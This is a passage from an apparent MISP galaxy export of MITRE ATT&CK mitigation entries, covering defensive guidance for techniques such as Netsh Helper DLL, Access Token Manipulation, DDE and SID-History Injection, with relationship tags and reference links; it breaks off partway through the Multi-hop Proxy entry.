File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Browser Bookmark Discovery Mitigation - T1217"*

View relationships graph

Browser Bookmark Discovery Mitigation - T1217 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"

Table 4685. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1217
https://technet.microsoft.com/en-us/library/ee791851.aspx

Netsh Helper DLL Mitigation - T1128

Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)

The tag is: *misp-galaxy:mitre-course-of-action="Netsh Helper DLL Mitigation - T1128"*

View relationships graph

Netsh Helper DLL Mitigation - T1128 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1128" with estimative-language:likelihood-probability="almost-certain"

Table 4686. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1128

Remote Access Tools Mitigation - T1219

Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.

Network intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well.

Use application whitelisting to mitigate use of and installation of unapproved software.

The tag is: *misp-galaxy:mitre-course-of-action="Remote Access Tools Mitigation - T1219"*

View relationships graph

Remote Access Tools Mitigation - T1219 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"

Table 4687. Table References

Links
https://attack.mitre.org/mitigations/T1219

External Remote Services Mitigation - T1133

Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Disable or block remotely available services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028). Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Multi-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.

The tag is: *misp-galaxy:mitre-course-of-action="External Remote Services Mitigation - T1133"*

View relationships graph

External Remote Services Mitigation - T1133 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

Table 4688. Table References

Links
https://attack.mitre.org/mitigations/T1133

Access Token Manipulation Mitigation - T1134

Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.

Any user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)

Also limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.

The tag is: *misp-galaxy:mitre-course-of-action="Access Token Manipulation Mitigation - T1134"*

View relationships graph

Access Token Manipulation Mitigation - T1134 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"

Table 4689. Table References

Links

https://attack.mitre.org/mitigations/T1134
https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object
https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token

Network Share Discovery Mitigation - T1135

Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Network Share Discovery Mitigation - T1135"*

View relationships graph

Network Share Discovery Mitigation - T1135 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

Table 4690. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1135
https://technet.microsoft.com/en-us/library/ee791851.aspx

Dynamic Data Exchange Mitigation - T1173

Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel. (Citation: Microsoft ADV170021 Dec 2017)

Ensure Protected View is enabled (Citation: Microsoft Protected View) and consider disabling embedded files in Office programs, such as OneNote, not enrolled in Protected View. (Citation: Enigma Reviving DDE Jan 2018) (Citation: GitHub Disable DDEAUTO Oct 2017)

On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs. (Citation: Microsoft ASR Nov 2017) (Citation: Enigma Reviving DDE Jan 2018)

The tag is: *misp-galaxy:mitre-course-of-action="Dynamic Data Exchange Mitigation - T1173"*

View relationships graph

Dynamic Data Exchange Mitigation - T1173 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"

Table 4691. Table References

Links
https://attack.mitre.org/mitigations/T1173
https://docs.microsoft.com/windows/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction
https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b
https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021
https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee
https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653
https://technet.microsoft.com/library/security/4053440
https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/

Clear Command History Mitigation - T1146

Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their <code>~/.bash_history</code> files. Additionally, making these environment variables readonly can make sure that the history is preserved (Citation: Securing bash history).

The tag is: *misp-galaxy:mitre-course-of-action="Clear Command History Mitigation - T1146"*

View relationships graph

Clear Command History Mitigation - T1146 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Clear Command History - T1146" with estimative-language:likelihood-probability="almost-certain"

Table 4692. Table References

Links
http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory
https://attack.mitre.org/mitigations/T1146

Password Filter DLL Mitigation - T1174

Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (<code>C:\Windows\System32\</code> by default) of a domain controller and/or local computer with a corresponding entry in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages</code>. (Citation: Microsoft Install Password Filter n.d)

The tag is: *misp-galaxy:mitre-course-of-action="Password Filter DLL Mitigation - T1174"*

View relationships graph

Password Filter DLL Mitigation - T1174 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1174" with estimative-language:likelihood-probability="almost-certain"

Table 4693. Table References

Links
https://attack.mitre.org/mitigations/T1174
https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx

Spearphishing via Service Mitigation - T1194

Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.

Because this technique involves use of legitimate services and user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.

The tag is: *misp-galaxy:mitre-course-of-action="Spearphishing via Service Mitigation - T1194"*

View relationships graph

Spearphishing via Service Mitigation - T1194 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194" with estimative-language:likelihood-probability="almost-certain"

Table 4694. Table References

Links
https://attack.mitre.org/mitigations/T1194

Supply Chain Compromise Mitigation - T1195

Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.

Leverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012):

- Uniquely Identify Supply Chain Elements, Processes, and Actors
- Limit Access and Exposure within the Supply Chain
- Establish and Maintain the Provenance of Elements, Processes, Tools, and Data
- Share Information within Strict Limits
- Perform SCRM Awareness and Training
- Use Defensive Design for Systems, Elements, and Processes
- Perform Continuous Integrator Review
- Strengthen Delivery Mechanisms
- Assure Sustainment Activities and Processes
- Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle

A patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation. Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well. (Citation: OWASP Top 10 2017)

The tag is: *misp-galaxy:mitre-course-of-action="Supply Chain Compromise Mitigation - T1195"*

View relationships graph

Supply Chain Compromise Mitigation - T1195 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"

Table 4695. Table References

Links
http://dx.doi.org/10.6028/NIST.IR.7622
https://attack.mitre.org/mitigations/T1195
https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/

https://www.mitre.org/sites/default/files/publications/se-guide-book-interactive.pdf

Setuid and Setgid Mitigation - T1166

Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.

The tag is: *misp-galaxy:mitre-course-of-action="Setuid and Setgid Mitigation - T1166"*

View relationships graph

Setuid and Setgid Mitigation - T1166 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1166" with estimative-language:likelihood-probability="almost-certain"

Table 4696. Table References

Links
https://attack.mitre.org/mitigations/T1166

Local Job Scheduling Mitigation - T1168

Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.

The tag is: *misp-galaxy:mitre-course-of-action="Local Job Scheduling Mitigation - T1168"*

View relationships graph

Local Job Scheduling Mitigation - T1168 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Local Job Scheduling - T1168" with estimative-language:likelihood-probability="almost-certain"

Table 4697. Table References

Links
https://attack.mitre.org/mitigations/T1168

Control Panel Items Mitigation - T1196

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.

Restrict storage and execution of Control Panel items to protected directories, such as <code>C:\Windows</code>, rather than user directories.

Index known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.

Consider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)

The tag is: *misp-galaxy:mitre-course-of-action="Control Panel Items Mitigation - T1196"*

View relationships graph

Control Panel Items Mitigation - T1196 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Control Panel Items - T1196" with estimative-language:likelihood-probability="almost-certain"

Table 4698. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1196
https://msdn.microsoft.com/library/windows/desktop/dn742497.aspx

Compiled HTML File Mitigation - T1223

Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files. (Citation: PaloAlto Preventing Opportunistic Attacks Apr 2016) Also consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

The tag is: *misp-galaxy:mitre-course-of-action="Compiled HTML File Mitigation - T1223"*

View relationships graph

Compiled HTML File Mitigation - T1223 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223" with estimative-language:likelihood-probability="almost-certain"

Table 4699. Table References

Links
https://attack.mitre.org/mitigations/T1223
https://live.paloaltonetworks.com/t5/Ignite-2016-Blog/Breakout-Recap-Cybersecurity-Best-Practices-Part-1-Preventing/ba-p/75913

Domain Trust Discovery Mitigation - T1482

Map the trusts within existing domains/forests and keep trust relationships to a minimum. Employ network segmentation for sensitive domains.(Citation: Harmj0y Domain Trusts)

The tag is: *misp-galaxy:mitre-course-of-action="Domain Trust Discovery Mitigation - T1482"*

View relationships graph

Domain Trust Discovery Mitigation - T1482 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

Table 4700. Table References

Links
http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/
https://attack.mitre.org/mitigations/T1482

Stored Data Manipulation Mitigation - T1492

Identify critical business and system processes that may be targeted by adversaries and work to secure the data related to those processes against tampering. Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk. Consider encrypting important information to reduce an adversaries ability to perform tailor data modifications. Where applicable, examine using file monitoring software to check integrity on important files and directories as well as take corrective actions when unauthorized changes are detected.

Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.

The tag is: *misp-galaxy:mitre-course-of-action="Stored Data Manipulation Mitigation - T1492"*

View relationships graph

Stored Data Manipulation Mitigation - T1492 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492" with estimative-language:likelihood-probability="almost-certain"

Table 4701. Table References

Links
https://attack.mitre.org/mitigations/T1492
https://www.ready.gov/business/implementation/IT

Domain Generation Algorithms Mitigation - T1483

This technique may be difficult to mitigate since the domains can be registered just before they are used, and disposed shortly after. Malware researchers can reverse-engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA Brute Force) Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic.(Citation: Akamai DGA Mitigation) Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost. In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Domain Generation Algorithms Mitigation - T1483"*

View relationships graph

Domain Generation Algorithms Mitigation - T1483 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"

Table 4702. Table References

Links
http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1483
https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html

https://umbrella.cisco.com/blog/2015/02/18/at-high-noon-algorithms-do-battle/

Transmitted Data Manipulation Mitigation - T1493

Identify critical business and system processes that may be targeted by adversaries and work to secure communications related to those processes against tampering. Encrypt all important data flows to reduce the impact of tailored modifications on data in transit.

The tag is: *misp-galaxy:mitre-course-of-action="Transmitted Data Manipulation Mitigation - T1493"*

View relationships graph

Transmitted Data Manipulation Mitigation - T1493 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1493" with estimative-language:likelihood-probability="almost-certain"

Table 4703. Table References

Links
https://attack.mitre.org/mitigations/T1493

Runtime Data Manipulation Mitigation - T1494

Identify critical business and system processes that may be targeted by adversaries and work to secure those systems against tampering. Prevent critical business and system processes from being replaced, overwritten, or reconfigured to load potentially malicious code. Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Runtime Data Manipulation Mitigation - T1494"*

View relationships graph

Runtime Data Manipulation Mitigation - T1494 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1494" with estimative-language:likelihood-probability="almost-certain"

Table 4704. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

https://attack.mitre.org/mitigations/T1494
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

LLMNR/NBT-NS Poisoning Mitigation - T1171

Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)

Use host-based security software to block LLMNR/NetBIOS traffic. Enabling SMB Signing can stop NTLMv2 relay attacks.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)(Citation: Microsoft SMB Packet Signing)

The tag is: *misp-galaxy:mitre-course-of-action="LLMNR/NBT-NS Poisoning Mitigation - T1171"*

View relationships graph

LLMNR/NBT-NS Poisoning Mitigation - T1171 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171" with estimative-language:likelihood-probability="almost-certain"

Table 4705. Table References

Links
https://adsecurity.org/?p=3299
https://attack.mitre.org/mitigations/T1171
https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html
https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
https://docs.microsoft.com/en-us/previous-versions/system-center/operations-manager-2005/cc180803(v=technet.10)

Restrict Web-Based Content - M1021

Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.

The tag is: *misp-galaxy:mitre-course-of-action="Restrict Web-Based Content - M1021"*

View relationships graph

Restrict Web-Based Content - M1021 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Application Access Token - T1527" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration to Code Repository - T1567.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="One-Way Communication - T1102.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Application Access Token - T1550.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1566.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 4706. Table References

Links
https://attack.mitre.org/mitigations/M1021

Multi-Stage Channels Mitigation - T1104

Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Multi-Stage Channels Mitigation - T1104"*

View relationships graph

Multi-Stage Channels Mitigation - T1104 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"

Table 4707. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1104

Third-party Software Mitigation - T1072

Evaluate the security of third-party software that could be used in the enterprise environment. Ensure that access to management systems for third-party systems is limited, monitored, and secure. Have a strict approval policy for use of third-party systems.

Grant access to Third-party systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multi-factor authentication. Verify that account credentials that may be used to access third-party systems are unique and not used throughout the enterprise network. Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure third-party systems are regularly patched by users or the provider to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

Ensure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required.

Where the third-party system is used for deployment services, ensure that it can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the third-party system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.

The tag is: *misp-galaxy:mitre-course-of-action="Third-party Software Mitigation - T1072"*

View relationships graph

Third-party Software Mitigation - T1072 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072" with estimative-language:likelihood-probability="almost-certain"

Table 4708. Table References

Links
https://attack.mitre.org/mitigations/T1072

DLL Side-Loading Mitigation - T1073

Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.

The tag is: *misp-galaxy:mitre-course-of-action="DLL Side-Loading Mitigation - T1073"*

View relationships graph

DLL Side-Loading Mitigation - T1073 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"

Table 4709. Table References

Links

https://attack.mitre.org/mitigations/T1073

Re-opened Applications Mitigation - T1164

Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: <code>defaults write -g ApplePersistence -bool no</code>.

The tag is: *misp-galaxy:mitre-course-of-action="Re-opened Applications Mitigation - T1164"*

View relationships graph

Re-opened Applications Mitigation - T1164 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1164" with estimative-language:likelihood-probability="almost-certain"

Table 4710. Table References

Links
https://attack.mitre.org/mitigations/T1164
https://support.apple.com/en-us/HT204005

SID-History Injection Mitigation - T1178

Clean up SID-History attributes after legitimate account migration is complete.

Consider applying SID Filtering to interforest trusts, such as forest trusts and external trusts, to exclude SID-History from requests to access domain resources. SID Filtering ensures that any authentication requests over a trust only contain SIDs of security principals from the trusted domain (i.e. preventing the trusted domain from claiming a user has membership in groups outside of the domain).

SID Filtering of forest trusts is enabled by default, but may have been disabled in some cases to allow a child domain to transitively access forest trusts. SID Filtering of external trusts is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID Filtering Quarantining Jan 2009) However note that SID Filtering is not automatically applied to legacy trusts or may have been deliberately disabled to allow inter-domain access to resources.

SID Filtering can be applied by: (Citation: Microsoft Netdom Trust Sept 2012)

- Disabling SIDHistory on forest trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /EnableSIDHistory:no</code> on the domain controller).
- Applying SID Filter Quarantining to external trusts using the netdom tool (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> on the domain controller) Applying SID Filtering to domain trusts within a single forest is not

recommended as it is an unsupported configuration and can cause breaking changes. (Citation: Microsoft Netdom Trust Sept 2012) (Citation: AdSecurity Kerberos GT Aug 2015) If a domain within a forest is untrustworthy then it should not be a member of the forest. In this situation it is necessary to first split the trusted and untrusted domains into separate forests where SID Filtering can be applied to an interforest trust.

The tag is: *misp-galaxy:mitre-course-of-action="SID-History Injection Mitigation - T1178"*

View relationships graph

SID-History Injection Mitigation - T1178 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="SID-History Injection - T1178" with estimative-language:likelihood-probability="almost-certain"

Table 4711. Table References

Links
https://adsecurity.org/?p=1640
https://attack.mitre.org/mitigations/T1178
https://technet.microsoft.com/library/cc755321.aspx
https://technet.microsoft.com/library/cc794757.aspx
https://technet.microsoft.com/library/cc835085.aspx

Multi-hop Proxy Mitigation - T1188

Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1172).

The tag is: *misp-galaxy:mitre-course-of-action="Multi-hop Proxy Mitigation - T1188"*

View relationships graph

Multi-hop Proxy Mitigation - T1188 has relationships with:

